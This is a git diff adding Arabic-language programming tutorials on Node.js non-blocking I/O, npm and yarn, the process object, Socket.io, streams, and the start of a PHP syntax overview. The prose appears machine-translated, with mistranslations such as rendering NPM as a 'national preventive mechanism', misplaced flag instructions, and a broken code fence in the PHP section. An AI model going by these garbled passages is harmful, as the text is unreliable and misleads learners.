+    نحن نعلم أن مهام الإدخال / الإخراج تستغرق وقتًا أطول من مهام المعالجة. يستخدم Node.js وظائف رد الاتصال لمعالجة مثل هذه الطلبات.
+
+لنفترض أن مهمة I / O معينة تستغرق 5 ثوانٍ لتنفيذها. ونريد إجراء هذا الإدخال / الإخراج مرتين في الشفرة.
+
+**الثعبان**
+
+ `import time 
+ 
+ def my_io_task(): 
+  time.sleep(5) 
+  print("done") 
+ 
+ my_io_task() 
+ my_io_task() 
+` 
+
+**نود.جي إس**
+
+ `function my_io_task() { 
+    setTimeout(function() { 
+      console.log('done'); 
+    }, 5000); 
+ } 
+ 
+ my_io_task(); 
+ my_io_task(); 
+` 
+
+كلاهما يشبهان لكن الوقت المستغرق في التنفيذ مختلفان. يستغرق رمز python 10 ثوانٍ لتنفيذ بينما يستغرق رمز Node.js 5 ثوانٍ فقط للتنفيذ.
+
+تستغرق Node.js وقتًا أقل نظرًا لنموذج الإدخال / الإخراج غير الذي يحظره. تبدأ المكالمة الأولى إلى `my_io_task()` المؤقت وتتركه هناك. لا تنتظر الاستجابة من الدالة ، بدلاً من ذلك ، تنتقل إلى استدعاء `my_io_task()` الثاني `my_io_task()` ، يبدأ الموقت ويتركها هناك.
+
+عندما يكمل الموقت تنفيذ ذلك يأخذ 5 ثوان ، فإنه يستدعي وظيفة وطباعة `done` على وحدة التحكم. منذ ذلك الحين ، يتم تشغيل كل من المؤقتين معًا ، ويتم إكمالهما معًا ، وبالتالي يستغرقان نفس الوقت.
+
+#### معلومات اكثر:
+
+*   [الموقع الرسمي NodeJS](https://nodejs.org)
+*   [عقدة مدير الإصدار](https://github.com/creationix/nvm/blob/master/README.md)
+*   [n: Interactive NodeJS Version Manager](https://github.com/tj/n)
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/npm/index.md b/client/src/guide/arabic/nodejs/npm/index.md
new file mode 100644
index 0000000000..828c43c7c6
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/npm/index.md
@@ -0,0 +1,318 @@
+---
+title: NPM
+localeTitle: الآلية الوقائية الوطنية
+---
+## الآلية الوقائية الوطنية
+
+يجعل Node.js من الممكن كتابة التطبيقات في JavaScript على الخادم. إنها مبنية على وقت تشغيل جافا سكريبت V8 ومكتوبة في C ++ - لذلك فهي سريعة. في الأصل ، تم تصميمه كخادم بيئة للتطبيقات ، ولكن المطورين بدأوا في استخدامه لإنشاء وحدات لمساعدتهم في أتمتة المهام المحلية. ومنذ ذلك الحين ، تطور نظام بيئي جديد بالكامل من الأدوات القائمة على عقدة لتحويل وجه تطوير الواجهة الأمامية.
+
+للاستفادة من هذه الوحدات (أو الحزم) في Node.js ، يجب أن نكون قادرين على تثبيتها وإدارتها بطريقة مفيدة. هذا هو المكان الذي يأتي فيه npm ، مدير حزمة العقدة. يقوم بتثبيت الحزم التي تريد استخدامها ويوفر واجهة مفيدة للعمل معها.
+
+## تثبيت الآلية الوقائية الوطنية
+
+لتثبيت `npm` لدينا لتنزيل ثنائيات Nodejs في envrionment المحلي. تتضمن ثنائيات Node.js أحدث إصدار من npm. للتحقق من ذلك:
+
+ `npm -v 
+ 5.6.0 
+` 
+
+يوفر مدير حزمة العقدة (NPM) وظيفتين رئيسيتين -
+
+*   المستودعات عبر الإنترنت لحزم node.js / الوحدات القابلة للبحث على `npmjs.com` .
+    
+*   الأداة المساعدة لسطر الأوامر لتثبيت الحزم Node.js ، قم بإدارة الإصدارات وإدارة التبعية لحزم Node.js.
+    
+
+## تثبيت الوحدات باستخدام NPM
+
+يمكن لـ `npm` تثبيت الحزم في الوضع المحلي أو العالمي. بشكل افتراضي ، يقوم NPM بتثبيت أي تبعية في الوضع المحلي. في الوضع المحلي ، يتم تثبيت الحزمة في مجلد node\_modules في دليل العمل الرئيسي الخاص بك. هذا الموقع مملوك للمستخدم الحالي. يتم تثبيت الحزم العالمية في {prefix} `/lib/node_modules/` والتي تعود ملكيتها إلى الجذر ، حيث عادة ما تكون {prefix} `/usr/ or /usr/local` . وهذا يعني أنك ستحتاج إلى استخدام sudo لتثبيت الحزم على مستوى العالم ، مما قد يتسبب في حدوث أخطاء في الإذن عند حل تبعيات الطرف الثالث ، فضلاً عن كونه أحد المخاوف الأمنية.
+
+### تثبيت الحزم في الوضع العالمي
+
+ستصبح أي حزم مثبتة عالميًا متوفرة من سطر الأوامر. نستخدم العلامة --global أو g لتثبيت الحزم عالمياً.
+
+ `$ npm install uglify-js --global 
+` 
+
+يمكننا سرد الحزم العالمية التي قمنا بتثبيتها باستخدام الأمر list npm.
+
+ `$ npm list --global 
+ /usr/local/lib 
+ ├─┬ npm@5.6.0 
+ │ ├── abbrev@1.1.0 
+ │ ├── ansi-regex@2.1.1 
+ │ ├── ansicolors@0.3.2 
+ │ ├── ansistyles@0.1.3 
+ .................... 
+ └─┬ uglify-js@3.0.15 
+  ├─┬ commander@2.9.0 
+  │ └── graceful-readlink@1.0.1 
+  └── source-map@0.5.6 
+` 
+
+ومع ذلك ، فإن المخرجات مطولة نوعًا ما. يمكننا تغيير ذلك مع الخيار --depth = 0.
+
+ `$ npm list -g --depth=0 
+ /usr/local/lib 
+ ├── npm@5.6.0 
+ └── uglify-js@3.0.15 
+` 
+
+### تثبيت الحزم في الوضع المحلي
+
+عند تثبيت الحزم محليًا ، فأنت تفعل ذلك عادةً باستخدام ملف package.json.
+
+ `npm install --save express 
+` 
+
+الآن يمكنك استخدام هذه الوحدة في ملف js الخاص بك كما يلي
+
+ `const express = require('express'); 
+` 
+
+وتنقسم الوحدات المحلية الى مزيد من نوعين من depenedencies: `devDepenednecies` و `dependencies` . الفرق بين هذين ، هو أن devDependencies هي وحدات مطلوبة فقط أثناء التطوير ، في حين أن التبعيات هي وحدات مطلوبة أيضا في وقت التشغيل. لحفظ تبعية باعتبارها devDependency على التثبيت ، نحتاج إلى القيام `npm install --save-dev` ، بدلاً من مجرد `npm install --save` .
+
+اختزال لطيفة لتثبيت devDependency التي أحب استخدامها هو `npm i -D` . الاختزال لحفظ التبعية العادية هو `-S` بدلاً من `-D` .
+
+### تثبيت إصدار معين من الحزمة
+
+للقيام بذلك ، نذكر إصدار الحزمة الذي نريد تثبيته.
+
+ `$ npm install underscore@1.8.2 -S 
+` 
+
+لإزالة تبعية عمومية ، استخدم `-g` flag.
+
+### إلغاء تثبيت الحزم المحلية
+
+npm هو مدير حزم لذا يجب أن يكون قادرًا على إزالة حزمة. يمكننا إزالة الحزمة:
+
+ `$ npm uninstall underscore -S 
+` 
+
+لتحديث تبعية عالمية ، استخدم `-g` flag.
+
+### تحديث حزمة
+
+لتحديث حزمة ، يمكنك القيام بما يلي:
+
+ `$ npm update underscore -S 
+` 
+
+للتحقق مما إذا كان هناك تحديث متوفر لأي حزمة مرتبطة بمشروعنا:
+
+ `$ npm outdated 
+ 
+ Package     Current  Wanted  Latest  Location 
+ underscore    1.8.2   1.8.3   1.8.3  project 
+` 
+
+يعرض العمود الحالي لنا الإصدار المثبت محليًا. يخبرنا العمود الأحدث بأحدث إصدار من الحزمة. يخبرنا العمود "مطلوب" بأحدث إصدار من الحزمة التي يمكننا الترقية إليها دون كسر الشفرة الحالية.
+
+## إدارة التبعيات مع package.json
+
+إذا لم تستخدم علامة محددة وتثبيت وحدة مثل `npm install express` فسيتم تثبيت الوحدة في مجلد `node_modules` محليًا ، ولكن لن يتم تحديث `package.json` التي تحتفظ بسجلات كل تبعية نستخدمها في مشروع مع `node_modules` . وبالتالي ، فإن حزمة ستكون محددة التنمية ، لن يتم تثبيتها في بيئة runtimme. تأكد من أنك دائمًا تستخدم علامة مناسبة وتحديث ملف `package.json` محدثًا.
+
+عند تثبيت الحزم محليًا ، فإنك تحتاج إلى ملف package.json. لتوليد واحدة يمكنك القيام بذلك باستخدام الأمر `npm init` . سيؤدي ذلك إلى طرح بعض الأسئلة عن طريق الضغط على Enter يمكنك الاحتفاظ بالقيم الافتراضية.
+
+ `$ npm init 
+ package name: (project) 
+ version: (1.0.0) 
+ description: Demo of package.json 
+ entry point: (index.js) 
+ test command: 
+ git repository: 
+ keywords: 
+ author: 
+ license: (ISC) 
+` 
+
+فكر في `package.json` باعتباره حارس جميع التبعيات أو مظاهر مشروع Node.js. إذا كنت تريد طريقة أسرع لإنشاء ملف package.json استخدم `npm init --y` .
+
+قائمة السمات المشتركة في ملف `package.json` :
+
+*   اسم - اسم الحزمة
+    
+*   نسخة - النسخة الدلالية من الحزمة
+    
+*   وصف - وصف الحزمة
+    
+*   الصفحة الرئيسية - الصفحة الرئيسية للحزمة
+    
+*   مؤلف - مؤلف الحزمة
+    
+*   المساهمين - اسم المساهمين في الحزمة
+    
+*   التبعيات - قائمة التبعيات. تقوم الآلية الوقائية الوطنية (NPM) تلقائيًا بتثبيت جميع التبعيات المذكورة هنا في مجلد node\_module الخاص بالحزمة.
+    
+*   devDependencies - قائمة بجميع الاعتماديات الخاصة بالتنمية
+    
+*   مستودع - نوع مستودع وعنوان URL للحزمة
+    
+*   نقطة الدخول الرئيسية للحزمة
+    
+*   الكلمات الرئيسية - الكلمات الرئيسية
+    
+*   الترخيص - ترخيص لحزمك حتى يعرف الناس كيف يُسمح لهم باستخدامه ، وأية قيود تفرضها عليه.
+    
+*   scripts - الخاصية "scripts" هي قاموس يحتوي على أوامر البرنامج النصي التي يتم تشغيلها في أوقات مختلفة في دورة حياة الحزمة الخاصة بك.
+    
+*   config (التكوين) - كائن يمكن استخدامه لتعيين معلمات التكوين المستخدمة في البرامج النصية للنصوص التي تستمر عبر الترقيات.
+    
+
+مثال:
+
+ `{ 
+   "name": "express", 
+      "description": "Fast, unopinionated, minimalist web framework", 
+      "version": "4.11.2", 
+      "author": { 
+ 
+         "name": "TJ Holowaychuk", 
+         "email": "tj@vision-media.ca" 
+      }, 
+ 
+   "contributors": [{ 
+      "name": "Aaron Heckmann", 
+      "email": "aaron.heckmann+github@gmail.com" 
+   }, 
+ 
+    ], 
+   "license": "MIT", "repository": { 
+      "type": "git", 
+      "url": "https://github.com/strongloop/express" 
+   }, 
+   "homepage": "https://expressjs.com/", "keywords": [ 
+      "express", 
+      "framework", 
+      "sinatra", 
+      "web", 
+      "rest", 
+      "restful", 
+      "router", 
+      "app", 
+      "api" 
+   ], 
+   "dependencies": { 
+      "serve-static": "~1.8.1", 
+ 
+   }, 
+   "devDependencies": { 
+      "jade": "~1.9.1", 
+   }, 
+   "engines": { 
+      "node": ">= 0.10.0" 
+   }, 
+   "files": [ 
+      "LICENSE", 
+      "History.md", 
+      "Readme.md", 
+      "index.js", 
+      "lib/" 
+   ], 
+   "scripts": { 
+      "test": "mocha --require test/support/env 
+         --reporter spec --bail --check-leaks test/ test/acceptance/", 
+      "test-cov": "istanbul cover node_modules/mocha/bin/_mocha 
+         -- --require test/support/env --reporter dot --check-leaks test/ test/acceptance/", 
+      "test-tap": "mocha --require test/support/env 
+         --reporter tap --check-leaks test/ test/acceptance/", 
+      "test-travis": "istanbul cover node_modules/mocha/bin/_mocha 
+         --report lcovonly -- --require test/support/env 
+         --reporter spec --check-leaks test/ test/acceptance/" 
+   }, 
+ 
+ } 
+` 
+
+## مخطوطات npm
+
+`npm` البرامج النصية `npm` لأتمتة المهام المتكررة. على سبيل المثال ، بناء مشروعك ، وتقليل ملفات Cascading Style Sheets (CSS) و JavaScript (JS). تُستخدم البرامج النصية أيضًا في حذف الملفات والمجلدات المؤقتة ، إلخ. يمكن تخصيصها ويمكن الوصول إليها عبر كائن `scripts` في `package.json` .
+
+ `{ 
+  "name": "super-cool-package", 
+  "version": "1.0.0", 
+  "scripts": {} 
+ } 
+` 
+
+مثال على أكثر نصوص NPM شيوعًا:
+
+ `"scripts": { 
+    "start": "node index.js", 
+    ... 
+ } 
+` 
+
+## npm الكاش
+
+عندما تقوم npm بتثبيت حزمة فإنها تحتفظ بنسخة ، لذلك في المرة التالية التي ترغب في تثبيت هذه الحزمة ، لا تحتاج إلى الوصول إلى الشبكة. يتم تخزين النسخ مؤقتًا في الدليل .npm في المسار الرئيسي.
+
+ `$ ls ~/.npm 
+ lodash.zipobject 
+ log-driver 
+ log-symbols 
+ logalot 
+ logfmt 
+ loglevel 
+ long-timeout 
+ longest 
+ longest-strea 
+` 
+
+سيصبح هذا الدليل مزدحمًا مع الحزم القديمة بمرور الوقت ، لذلك من المفيد تنظيفه في بعض الأحيان.
+
+ `$ npm cache clean 
+` 
+
+## غزل - بديل ل npm
+
+غزل هو أيضا مدير حزمة جافا سكريبت المتقدمة والمحافظة عليها من قبل الفيسبوك. كلاهما يشتركان في أوجه تشابه عالية عندما يتعلق الأمر باستخدامهما. من المفترض أن يكون أسرع في تثبيت التبعيات من npm. لتثبيته:
+
+ `npm install -g yarn 
+` 
+
+لا ينوي غزل استبدال npm ، أكثر مثل تحسين عليه. ويستخدم نفس ملف package.json ، ويحفظ التبعيات إلى `node_modules/` folder. لتهيئة مشروع ، سوف تستخدم:
+
+ `yarn init 
+` 
+
+### إضافة ، وترقية ، وإزالة التبعيات
+
+إضافة تبعية جديدة أمر سهل ومماثل إلى npm:
+
+ `yarn add [package-name] 
+` 
+
+إذا كنت تريد إصدارًا أو علامة حزمة معينة ، فيمكنك القيام بذلك.
+
+ `yarn add express@4.14.1 
+` 
+
+بالنسبة إلى تبعيات dev ، تبعية الأقران والتبعيات الاختيارية التي تمر بها --dev --peer --optional على التوالي.
+
+ `yarn add gulp --dev 
+` 
+
+سيوفر الجولب تحت devDependencies. لترقية حزمة أو إزالتها ، يمكنك فقط استبدال أمر الإضافة إما بترقية أو إزالة متبوعة باسم الحزمة.
+
+ `# upgrade a gulp from 3.9.1 to version 4 
+ yarn upgrade gulp@4.0 
+ 
+ # remove a gulp 
+ yarn remove gulp 
+` 
+
+بعد كل عملية تثبيت أو ترقية أو إزالة ، يقوم الغزل بتحديث ملف yarn.lock الذي يتتبع إصدار الحزمة المضبوط المثبت في دليل node\_modules. تم تحديث ميزة مشابهة في npm. الآن هناك `package-lock.json` التي تتصرف بالضبط بنفس الطريقة كما `yarn.lock` في إصدارات أحدث من npm.
+
+### أرقام إصدار الحزمة وماذا تعني
+
+يكون الإصدار الأول لحزمة npm دائمًا 1.0.0
+
+إصلاح الأخطاء ، أو تغييرات طفيفة زيادة الرقم الثالث ، سوف تصبح 1.0.0 هانس 1.0.1
+
+الميزات الجديدة التي لا تكسر الإصدارات السابقة من حزمة زيادة الرقم الثاني ، سوف تصبح 1.0.0 هنس 1.1.0
+
+جميع التغييرات التي تكسر الإصدارات السابقة من حزمة زيادة الرقم الأول ، سوف تصبح 1.0.0 هنس 2.0.0
+
+من المهم تذكر هذا عند تحديث الحزم للحفاظ على استقرار مشروعك!
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/process/index.md b/client/src/guide/arabic/nodejs/process/index.md
new file mode 100644
index 0000000000..12d6600c6e
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/process/index.md
@@ -0,0 +1,82 @@
+---
+title: Process Object
+localeTitle: كائن العملية
+---
+## كائن العملية
+
+يعد كائن `process` في Node.js كائنًا عموميًا يمكن الوصول إليه داخل أية وحدة نمطية دون الحاجة إلى ذلك. هناك عدد قليل جدًا من الكائنات أو الخصائص العامة المتوفرة في Node.js ، وتكون `process` واحدة منها. وهو مكون أساسي في النظام البيئي Node.js لأنه يوفر مجموعات المعلومات المختلفة حول وقت تشغيل البرنامج. لاستكشاف سوف نستخدم واحدة من خصائصه والتي تسمى `process.versions` . تخبرنا هذه الخاصية بالمعلومات حول إصدار Node.js الذي قمنا بتثبيته. يجب استخدامه مع `-p` flag.
+
+ `$ node  -p "process.versions" 
+ 
+ # output 
+ { http_parser: '2.8.0', 
+  node: '8.11.2', 
+  v8: '6.2.414.54', 
+  uv: '1.19.1', 
+  zlib: '1.2.11', 
+  ares: '1.10.1-DEV', 
+  modules: '57', 
+  nghttp2: '1.29.0', 
+  napi: '3', 
+  openssl: '1.0.2o', 
+  icu: '60.1', 
+  unicode: '10.0', 
+  cldr: '32.0', 
+  tz: '2017c' } 
+` 
+
+خاصية أخرى يمكنك التحقق منها هي `process.release` التي هي نفسها للأمر `$ node --version` التي استخدمناها عندما قمنا بتثبيت Node.js لكن الإخراج هذه المرة سيكون أكثر تفصيلاً.
+
+ `node -p "process.release" 
+ 
+ # output 
+ { name: 'node', 
+  lts: 'Carbon', 
+  sourceUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2.tar.gz', 
+  headersUrl: 'https://nodejs.org/download/release/v8.11.2/node-v8.11.2-headers.tar.gz' } 
+` 
+
+هذه بعض الأوامر المختلفة التي يمكننا استخدامها في سطر الأوامر للوصول إلى المعلومات التي لا يمكن لأي وحدة توفيرها. يعتبر كائن `process` هذا مثالًا لفئة EventEmitter ولا يحتوي على أحداثه المحددة مسبقًا مثل `exit` والتي يمكن استخدامها لمعرفة متى أكمل أحد البرامج في Node.js تنفيذه. تشغيل البرنامج أدناه ويمكنك ملاحظة أن النتيجة تأتي مع رمز الحالة `0` . في Node.js يعني رمز الحالة هذا أن أحد البرامج قد تم تشغيله بنجاح.
+
+ `process.on('exit', code => { 
+    setTimeout(() => { 
+        console.log('Will not get displayed'); 
+    }, 0); 
+ 
+    console.log('Exited with status code:', code); 
+ }); 
+ console.log('Execution Completed'); 
+` 
+
+ناتج البرنامج أعلاه:
+
+ `Execution Completed 
+ Exited with status code: 0 
+` 
+
+`Process` توفر أيضا خصائص مختلفة للتفاعل معها. يمكن استخدام بعضها في تطبيق عقدة لتوفير بوابة للتواصل بين تطبيق العقدة وأي واجهة سطر الأوامر. هذا مفيد جدا إذا كنت تقوم ببناء تطبيق سطر الأوامر أو أداة مساعدة باستخدام Node.js
+
+*   process.stdin: دفق مقروء
+*   process.stdout: تيار قابل للكتابة
+*   process.stderr: دفق wriatable للتعرف على الأخطاء
+
+باستخدام `argv` يمكنك دائما الوصول إلى الحجج التي تم تمريرها في سطر الأوامر. `argv` عبارة عن صفيف يحتوي على عقدة نفسه كعنصر أول والمسار المطلق للملف كعنصر آخر. من العنصر الثالث فصاعدًا ، يمكن أن يحتوي على العديد من الحجج.
+
+جرب البرنامج أدناه للحصول على مزيد من المعرفة حول كيفية استخدام هذه الخصائص والوظائف المختلفة.
+
+ `process.stdout.write('Hello World!' + '\n'); 
+ 
+ process.argv.forEach(function(val, index, array) { 
+    console.log(index + ': ' + val); 
+ }); 
+` 
+
+إذا قمت بتشغيل التعليمات البرمجية المذكورة أعلاه باستخدام الأمر التالي ستحصل على الإخراج ويتم طباعة العناصر الأولين من `argv` .
+
+ `$ node test.js 
+ 
+ # output 
+ Hello World! 
+ 0: /usr/local/bin/node 
+ 1: /Users/amanhimself/Desktop/articles/nodejs-text-tuts/test.js 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/socket.io/index.md b/client/src/guide/arabic/nodejs/socket.io/index.md
new file mode 100644
index 0000000000..2384ad231a
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/socket.io/index.md
@@ -0,0 +1,30 @@
+---
+title: Socket.io
+localeTitle: Socket.io
+---
+## Socket.io
+
+[Socket.io](https://socket.io/) هي مكتبة Node.js [مصممة](https://socket.io/) للمساعدة في جعل الاتصال في الوقت الفعلي بين أجهزة الكمبيوتر ممكنًا. للتأكد من أن هذا Socket.io يستخدم WebSockets لإنشاء اتصال بين مستعرض العميل والملقم. تستخدم هذه المكتبة [Engine.IO](https://github.com/socketio/engine.io) لإنشاء الاتصال.
+
+### ديموس
+
+للحصول على طعم ما هو ممكن ، يوفر Socket.io اثنين من العروض التوضيحية لإظهار حالات الاستخدام الممكنة. يمكنك العثور على العروض التوضيحية على [https://socket.io/demos/chat/](https://socket.io/demos/chat/) والعثور على الرابط إلى عرض whiteboard على اليسار.
+
+### البدء
+
+منذ Socket.io هي مكتبة Node.js لديك للتأكد من تثبيت Node.js. إذا لم يتم [إعداده ، فاحصل](https://nodejs.org/) على أحدث إصدار في [Nodejs.org](https://nodejs.org/)
+
+#### ماك
+
+يمكن أيضًا تثبيت Node.js عبر [Homebrew](https://brew.sh/) مدير حزم لنظام MacOS.
+
+فقط اكتب `brew install node` لتثبيت Node.js.
+
+و [التي تحصل على](https://socket.io/get-started/chat/) دليل يمكن أيضا العثور على الصفحة Socket.io ل. يُظهر كيفية إنشاء دردشة في الوقت الفعلي بكل بساطة في سطرين.
+
+#### معلومات اكثر
+
+يمكن العثور على مزيد من المعلومات حول Socket.io والوثائق الخاصة به في:
+
+*   [Socket.io](https://socket.io/)
+*   [Socket.io الوثائق](https://socket.io/docs/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/nodejs/streams/index.md b/client/src/guide/arabic/nodejs/streams/index.md
new file mode 100644
index 0000000000..00d9d3ca64
--- /dev/null
+++ b/client/src/guide/arabic/nodejs/streams/index.md
@@ -0,0 +1,151 @@
+---
+title: Streams
+localeTitle: تيارات
+---
+## تيارات
+
+تتوفر التدفقات في واجهة برمجة تطبيقات Node.js الأساسية ككائنات تسمح للبيانات بقراءة أو الكتابة بطريقة مستمرة. في الأساس ، يقوم التيار بعمل ذلك في أجزاء مقارنة بالمخزن المؤقت الذي يقوم بتثبيته قليلاً ، مما يجعله عملية بطيئة.
+
+هناك أربعة أنواع من التدفقات المتاحة:
+
+*   مقروء (تدفقات يتم من خلالها قراءة البيانات)
+*   قابل للكتابة (التدفقات التي تتم كتابة البيانات إليها)
+*   Duplex (تدفقات قابلة للقراءة والكتابة على حد سواء)
+*   تحويل (دفق دوبلكس يمكنه تعديل البيانات أثناء قراءتها وكتابتها)
+
+كل نوع متاح له عدة طرق مقترنة. بعض من تلك الشائعة هي:
+
+*   البيانات (يتم تشغيلها عند توفر البيانات)
+*   نهاية (يتم تشغيل هذا عند عدم وجود بيانات متبقية للقراءة)
+*   خطأ (هذا يعمل عند وجود خطأ إما تلقي أو كتابة البيانات)
+
+### يضخ
+
+في البرمجة ، مفهوم `pipe` ليس جديدًا. تستخدم أنظمة Unix القائمة بشكل عملي منذ السبعينيات. ماذا يفعل الأنبوب؟ يربط `pipe` المصدر والوجهة بشكل عام. يمر الناتج من وظيفة واحدة كمدخل لوظيفة أخرى.
+
+في Node.js ، يتم استخدام `pipe` بنفس الطريقة ، لربط المدخلات والمخرجات من العمليات المختلفة. يتوفر `pipe()` كدالة تأخذ تيار مصدر مقروء وتربط الإخراج إلى تيار وجهة. يمكن تمثيل الصيغة العامة على النحو التالي:
+
+ `src.pipe(dest); 
+` 
+
+يمكن أيضاً ربط الدالات متعددة `pipe()` معاً.
+
+ `a.pipe(b).pipe(c); 
+ 
+ // which is equivalent to 
+ 
+ a.pipe(b); 
+ b.pipe(c); 
+` 
+
+### تيارات مقروءة
+
+تعرف التدفقات التي تنتج البيانات التي يمكن إرفاقها كإدخال إلى دفق للكتابة على أنه دفق مقروء. لإنشاء دفق مقروء:
+
+ ``const { Readable } = require('stream'); 
+ 
+ const readable = new Readable(); 
+ 
+ readable.on('data', chunk => { 
+  console.log(`Received ${chunk.length} bytes of data.`); 
+ }); 
+ readable.on('end', () => { 
+  console.log('There will be no more data.'); 
+ }); 
+`` 
+
+### تيار قابل للكتابة
+
+هذا هو نوع دفق يمكنك `pipe()` البيانات إليه من مصدر قابل للقراءة. لإنشاء تيار قابل للكتابة ، لدينا نهج منشئ. نقوم بإنشاء كائن منه ونمرر عددًا من الخيارات. تأخذ هذه الطريقة ثلاث حجج:
+
+*   القطعة: مخزن مؤقت
+*   الترميز: لتحويل البيانات إلى نموذج قابل للقراءة من قبل الإنسان
+*   رد الاتصال: دالة يتم استدعاؤها عند الانتهاء من معالجة البيانات من القطعة
+
+ `const { Writable } = require('stream'); 
+ const writable = new Writable({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(writable); 
+` 
+
+### تيارات دوبلكس
+
+تيارات البث المزدوجة تساعدنا على تنفيذ كل من الدفق القابل للقراءة والكتابة في نفس الوقت.
+
+ `const { Duplex } = require('stream'); 
+ 
+ const inoutStream = new Duplex({ 
+  write(chunk, encoding, callback) { 
+    console.log(chunk.toString()); 
+    callback(); 
+  }, 
+ 
+  read(size) { 
+    this.push(String.fromCharCode(this.currentCharCode++)); 
+    if (this.currentCharCode > 90) { 
+      this.push(null); 
+    } 
+  } 
+ }); 
+ 
+ inoutStream.currentCharCode = 65; 
+ process.stdin.pipe(inoutStream).pipe(process.stdout); 
+` 
+
+`stdin` قطار `stdin` البيانات القابلة للقراءة إلى الدفق المزدوج. يساعدنا `stdout` على رؤية البيانات. تعمل الأجزاء القابلة للقراءة والكتابة في الدفق المزدوج بشكل مستقل تمامًا عن بعضها البعض.
+
+### تحويل دفق
+
+هذا النوع من الدفق هو أكثر من إصدار متقدم من الدفق المزدوج.
+
+ `const { Transform } = require('stream'); 
+ 
+ const upperCaseTr = new Transform({ 
+  transform(chunk, encoding, callback) { 
+    this.push(chunk.toString().toUpperCase()); 
+    callback(); 
+  } 
+ }); 
+ 
+ process.stdin.pipe(upperCaseTr).pipe(process.stdout); 
+` 
+
+البيانات التي نستهلكها هي نفس المثال السابق للدفق المزدوج. إن ما نلاحظه هنا هو أن `transform()` لا يتطلب تنفيذ أساليب `read` أو `write` . يجمع بين كل من الأساليب نفسها.
+
+### لماذا استخدام Streams؟
+
+نظرًا لأن Node.js غير متزامن بحيث يتفاعل من خلال تمرير الاسترجاعات إلى وظائف مع القرص والشبكة. يقرأ المثال الموجود أدناه البيانات من ملف على القرص ويستجيب إلى طلب الشبكة من العميل.
+
+ `const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  fs.readFile('data.txt', (err, data) => { 
+    res.end(data); 
+  }); 
+ }); 
+ server.listen(8000); 
+` 
+
+سيعمل مقتطف الشفرة الموضح أعلاه ولكن البيانات الكاملة من الملف ستدخل أولاً إلى الذاكرة لكل طلب قبل كتابة النتيجة مرة أخرى لطلب العميل. إذا كان الملف الذي نقرأه كبيرًا جدًا ، فقد يصبح هذا اتصالًا للخادم ثقيلًا ومكلفًا للغاية ، حيث سيستهلك الكثير من الذاكرة لعملية التقدم. ستعاني أيضًا تجربة المستخدم على جانب العميل من التأخير.
+
+في هذه الحالة ، إذا استخدمنا الدفق ، سيتم إرسال البيانات إلى طلب العميل كقطعة واحدة في كل مرة بمجرد تلقيها من القرص.
+
+ `const http = require('http'); 
+ const fs = require('fs'); 
+ 
+ const server = http.createServer((req, res) => { 
+  const stream = fs.createReadStream('data.txt'); 
+  stream.pipe(res); 
+ }); 
+ server.listen(8000); 
+` 
+
+يعتني `pipe()` هنا بالكتابة أو في حالتنا ، وإرسال البيانات مع كائن الاستجابة وبمجرد قراءة كل البيانات من الملف ، لإغلاق الاتصال.
+
+ملاحظة: يتم إنشاء `process.stdin` و `process.stdout` في تدفقات في كائن `process` التي يوفرها Node.js API.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php-syntax-overview/index.md b/client/src/guide/arabic/php-syntax-overview/index.md
new file mode 100644
index 0000000000..51949bbeb1
--- /dev/null
+++ b/client/src/guide/arabic/php-syntax-overview/index.md
@@ -0,0 +1,179 @@
+---
+title: PHP Syntax Overview
+localeTitle: PHP بناء الجملة نظرة عامة
+---
+سوف يعطيك هذا الفصل فكرة عن البنية الأساسية جدا لـ PHP ومهم جدا لجعل مؤسستك PHP قوية.
+
+### الهروب إلى PHP
+
+يحتاج محرك تحليل PHP إلى طريقة لتمييز رمز PHP عن العناصر الأخرى في الصفحة. تُعرف آلية القيام بذلك باسم "الهروب إلى PHP". هناك أربع طرق للقيام بذلك -
+
+#### علامات PHP الكنسي
+
+نمط علامة PHP الأكثر فعالية عالميًا -
+
+ `<?php...?> 
+` 
+
+إذا كنت تستخدم هذا النمط ، فيمكنك أن تكون إيجابيًا أن يتم دائمًا تفسير علاماتك بشكل صحيح.
+
+#### علامات مفتوحة قصيرة (نمط SGML)
+
+تبدو العلامات قصيرة أو قصيرة مفتوحة مثل هذا -
+
+ `<?...?> 
+` 
+
+العلامات القصيرة هي ، كما قد يتوقع المرء ، أقصر خيار يجب عليك القيام بأحد الأمرين لتمكين PHP من التعرف على العلامات -
+
+اختر خيار تكوين العلامات القصيرة -enable عند بناء PHP.
+
+عيّن الإعداد القصير للعلامة _المفتوحة_ في ملف php.ini الخاص بك. يجب تعطيل هذا الخيار لتحليل XML مع PHP لأنه يتم استخدام نفس البنية لعلامات XML.
+
+#### علامات ASP النمط
+
+تحاكي علامات ASP النمط العلامات التي تستخدمها صفحات الخادم النشطة لتمييز الكتل البرمجية. تبدو العلامات على غرار ASP مثل هذا -
+
+ `<%...%> 
+` 
+
+لاستخدام علامات نمط ASP ، ستحتاج إلى تعيين خيار التكوين في ملف php.ini الخاص بك.
+
+#### علامات النص HTML
+
+تبدو علامات نص HTML مثل هذا -
+
+ `<script language="PHP">...</script> 
+` 
+
+### تعليق كود PHP
+
+التعليق هو جزء من برنامج موجود فقط للقارئ البشري ويتم التخلص منه قبل عرض نتيجة البرامج. هناك نوعان من تنسيقات التعليقات في PHP -
+
+#### تعليقات سطر واحد -
+
+وهي تستخدم عادة للتفسيرات القصيرة أو الملاحظات ذات الصلة بالشفرة المحلية. فيما يلي أمثلة لتعليقات سطر واحد.
+
+\`\` \` <؟ # هذا تعليق ، و # هذا هو السطر الثاني من التعليق
+
+// هذا تعليق أيضًا. كل نمط التعليقات فقط print "مثال مع تعليقات سطر واحد"؛ ؟>
+
+ `#### Multi-lines printing − 
+ Here are the examples to print multiple lines in a single print statement − 
+ 
+ ``` 
+ <? 
+   # First Example 
+   print <<<END 
+   This uses the "here document" syntax to output 
+   multiple lines with $variable interpolation. Note 
+   that the here document terminator must appear on a 
